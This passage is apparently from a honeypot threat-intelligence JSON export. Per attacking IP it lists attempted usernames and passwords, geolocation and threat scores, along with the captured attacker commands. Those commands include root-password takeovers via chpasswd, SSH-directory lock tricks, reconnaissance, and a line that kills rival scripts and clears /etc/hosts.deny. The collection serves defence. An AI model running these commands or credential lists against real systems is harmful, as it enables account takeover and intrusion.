        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T07:19:10.262000+00:00",
        "last_seen_30d": "2026-05-03T07:58:56.953000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 71
      }
    },
    "179.228.152.18": {
      "attack_count": 216,
      "first_seen": "2026-05-14T00:31:10.520Z",
      "last_seen": "2026-05-14T01:35:58.902Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ayjtnzjc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12300",
        "art1234",
        "birdie",
        "bitch69",
        "ch@ng3m3",
        "eco",
        "elastic123",
        "lablab",
        "marco123",
        "needforspeed",
        "pieter",
        "qaz2wsx",
        "w433iqoq",
        "warrior",
        "yzOeGur5kZbZ",
        "zzz"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:G6DQyBdvaq3l\"|chpasswd|bash",
        "echo \"root:RACQaJ8E8NS0\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Registro",
      "asn": 27699,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 16.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 267,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T00:31:10.520000+00:00",
        "last_seen_30d": "2026-05-14T01:37:04.598000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 216,
        "Suricata": 51
      }
    },
    "116.228.233.93": {
      "attack_count": 212,
      "first_seen": "2026-05-30T17:03:43.413Z",
      "last_seen": "2026-05-30T17:33:15.093Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "oo",
        "book",
        "deploy",
        "linda",
        "mamy",
        "nia",
        "prueba",
        "sammy",
        "story",
        "transfer",
        "user",
        "wiki"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1qaz2wsx",
        "Admin123456*",
        "mamamiya",
        "mamy",
        "nia",
        "password",
        "password123",
        "qw12QW!@",
        "story",
        "test",
        "transfer",
        "wiki123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nZisszpOK3Bto\\nZisszpOK3Bto\\n\"|passwd",
        "echo \"root:YPGkRWAZt8fe\"|chpasswd|bash",
        "echo -e \"123\\nZisszpOK3Bto\\nZisszpOK3Bto\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 4812,
      "as_org": "China Telecom Group",
      "threat_score": 35.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T17:03:43.413000+00:00",
        "last_seen_30d": "2026-05-30T17:34:23.949000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 43
      }
    },
    "118.250.88.160": {
      "attack_count": 198,
      "first_seen": "2026-05-19T07:09:50.947Z",
      "last_seen": "2026-05-19T18:01:24.424Z",
      "sessions": 99,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 302,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:09:50.947000+00:00",
        "last_seen_30d": "2026-05-19T18:02:30.859000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 198,
        "Suricata": 104
      }
    },
    "201.71.140.231": {
      "attack_count": 190,
      "first_seen": "2026-05-22T09:53:47.587Z",
      "last_seen": "2026-05-22T20:30:30.379Z",
      "sessions": 95,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Cuiab\u00e1",
      "asn": 28635,
      "as_org": "AVATO TECNOLOGIA S.A",
      "threat_score": 26.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T09:53:47.587000+00:00",
        "last_seen_30d": "2026-05-22T20:31:35.902000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 190,
        "Suricata": 104
      }
    },
    "83.224.141.42": {
      "attack_count": 187,
      "first_seen": "2026-05-22T19:16:35.286Z",
      "last_seen": "2026-05-22T19:56:24.375Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "sammy",
        "grid",
        "postgres",
        "test1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "123@.com",
        "Abcd1234!@#$",
        "Test123!@#",
        "grid",
        "qaz123..",
        "qwer.1234",
        "root",
        "root2019"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nS7NA9SfGbj5l\\nS7NA9SfGbj5l\\n\"|passwd",
        "echo \"root:vzwuHwYQh0Tc\"|chpasswd|bash",
        "echo -e \"123456\\nS7NA9SfGbj5l\\nS7NA9SfGbj5l\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Sant'Angelo Lodigiano",
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 221,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T19:16:35.286000+00:00",
        "last_seen_30d": "2026-05-22T19:57:28.504000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 34
      }
    },
    "112.103.94.88": {
      "attack_count": 186,
      "first_seen": "2026-05-19T06:59:26.878Z",
      "last_seen": "2026-05-19T17:59:09.087Z",
      "sessions": 93,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 285,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:59:26.878000+00:00",
        "last_seen_30d": "2026-05-19T18:00:17.429000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 186,
        "Suricata": 99
      }
    },
    "51.75.194.10": {
      "attack_count": 186,
      "first_seen": "2026-05-04T00:25:59.957Z",
      "last_seen": "2026-05-04T01:19:41.150Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "root",
        "345gs5662d34",
        "mysql",
        "test",
        "info",
        "postgres",
        "server",
        "srvadmin",
        "test002",
        "testuser",
        "user",
        "vbox"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "111",
        "111222",
        "1122334455",
        "123",
        "123456",
        "123456a@",
        "1q2w3e4r",
        "4321",
        "555555",
        "Admin234",
        "P@ssw0rd",
        "P@ssw0rd1",
        "Welcome1",
        "a1a1a1",
        "blank",
        "changeme",
        "developer1234",
        "hduser123456789"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 260,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T00:25:59.957000+00:00",
        "last_seen_30d": "2026-05-04T01:20:49.428000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 186,
        "Suricata": 74
      }
    },
    "37.148.204.190": {
      "attack_count": 178,
      "first_seen": "2026-05-16T15:32:25.563Z",
      "last_seen": "2026-05-16T16:00:22.117Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "11112222",
        "20192019",
        "3245gs5662d34",
        "345gs5662d34",
        "Qy123456.",
        "Reset123",
        "Tp123456",
        "boyette",
        "doraemon",
        "esuser",
        "gangsters",
        "goeth",
        "meiyoumima",
        "milan",
        "naveen123",
        "nodeproxy",
        "p4ssword",
        "password444",
        "patate123",
        "patt123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:gRuqhAfMzFN4\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 21499,
      "as_org": "Host Europe GmbH",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 232,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T15:32:25.563000+00:00",
        "last_seen_30d": "2026-05-16T16:01:26.659000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 178,
        "Suricata": 54
      }
    },
    "148.135.33.66": {
      "attack_count": 144,
      "first_seen": "2026-05-08T07:52:23.932Z",
      "last_seen": "2026-05-21T18:01:16.383Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 30.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.3,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 168,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T07:52:23.932000+00:00",
        "last_seen_30d": "2026-05-21T18:02:19.447000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 96,
        "Suricata": 72
      }
    },
    "51.178.114.78": {
      "attack_count": 144,
      "first_seen": "2026-05-31T06:07:35.745Z",
      "last_seen": "2026-05-31T06:29:16.108Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "debian",
        "345gs5662d34",
        "cassandra",
        "contabilidad",
        "ec2-user",
        "kobo",
        "leon",
        "oracle",
        "pc",
        "wf",
        "zhangsan"
      ],
      "passwords_attempted": [
        "1111",
        "123",
        "123456",
        "123456Qw!",
        "123qwe!@#QWE",
        "123qweasd",
        "3245gs5662d34",
        "345gs5662d34",
        "A@1234567",
        "Leon123",
        "Qwerty@12345",
        "Welcome1",
        "abcd.1234",
        "cassandra",
        "contabilidad",
        "kobo123",
        "wf"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123qwe!@#QWE\\nEExiMZkkJlx4\\nEExiMZkkJlx4\\n\"|passwd",
        "echo -e \"123qwe!@#QWE\\nEExiMZkkJlx4\\nEExiMZkkJlx4\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 35.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T06:07:35.745000+00:00",
        "last_seen_30d": "2026-05-31T06:30:19.266000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 40
      }
    },
    "210.210.155.71": {
      "attack_count": 138,
      "first_seen": "2026-05-12T07:04:10.310Z",
      "last_seen": "2026-05-31T21:35:41.055Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Tangerang",
      "asn": 4787,
      "as_org": "PT Cyberindo Aditama",
      "threat_score": 50.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.1,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 161,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T07:04:10.310000+00:00",
        "last_seen_30d": "2026-05-31T21:36:45.622000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 92,
        "Suricata": 69
      }
    },
    "36.255.66.26": {
      "attack_count": 118,
      "first_seen": "2026-05-23T19:37:38.769Z",
      "last_seen": "2026-05-23T20:13:21.734Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "jboss",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "111",
        "123@abc",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa147258.",
        "Dd123456",
        "Qaz12345",
        "a123456789!",
        "jboss",
        "mudar123",
        "root123456!",
        "screencast"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:EwbdXsQ0uDzO\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 137654,
      "as_org": "Netstra Communications Pvt Ltd",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T19:37:38.769000+00:00",
        "last_seen_30d": "2026-05-23T20:14:28.793000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 29
      }
    },
    "51.75.141.245": {
      "attack_count": 118,
      "first_seen": "2026-05-22T19:20:39.465Z",
      "last_seen": "2026-05-22T19:47:53.076Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "alice",
        "345gs5662d34",
        "bhx",
        "leonard",
        "testuser"
      ],
      "passwords_attempted": [
        "123123Aa",
        "12345678",
        "123456aB",
        "3245gs5662d34",
        "345gs5662d34",
        "Huawei@1234",
        "abcd1234!",
        "alice",
        "ansible",
        "bhx",
        "leonard123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"alice\\nlijGFdZO3f2P\\nlijGFdZO3f2P\\n\"|passwd",
        "echo -e \"alice\\nlijGFdZO3f2P\\nlijGFdZO3f2P\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T19:20:39.465000+00:00",
        "last_seen_30d": "2026-05-22T19:49:01.907000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 30
      }
    },
    "161.81.123.11": {
      "attack_count": 112,
      "first_seen": "2026-05-18T21:54:09.273Z",
      "last_seen": "2026-05-19T06:11:44.451Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9231,
      "as_org": "China Mobile Hong Kong Company Limited",
      "threat_score": 21.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 173,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T21:54:09.273000+00:00",
        "last_seen_30d": "2026-05-19T06:12:47.907000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 112,
        "Suricata": 61
      }
    },
    "183.182.125.142": {
      "attack_count": 99,
      "first_seen": "2026-05-30T04:19:27.986Z",
      "last_seen": "2026-05-30T04:49:15.792Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "server",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "5tgb%TGB",
        "Aa123456*",
        "Password123$",
        "QWEasd123!@#",
        "qwe123123",
        "server"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"server\\njDsgieeyQpxA\\njDsgieeyQpxA\\n\"|passwd",
        "echo -e \"server\\njDsgieeyQpxA\\njDsgieeyQpxA\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Laos",
      "country_code": "LA",
      "city": "Vientiane",
      "asn": 131267,
      "as_org": "Star Telecom",
      "threat_score": 32.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 120,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T04:19:27.986000+00:00",
        "last_seen_30d": "2026-05-30T04:50:25.171000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 99,
        "Suricata": 21
      }
    },
    "112.102.86.173": {
      "attack_count": 94,
      "first_seen": "2026-05-23T08:02:07.358Z",
      "last_seen": "2026-05-23T14:00:14.257Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
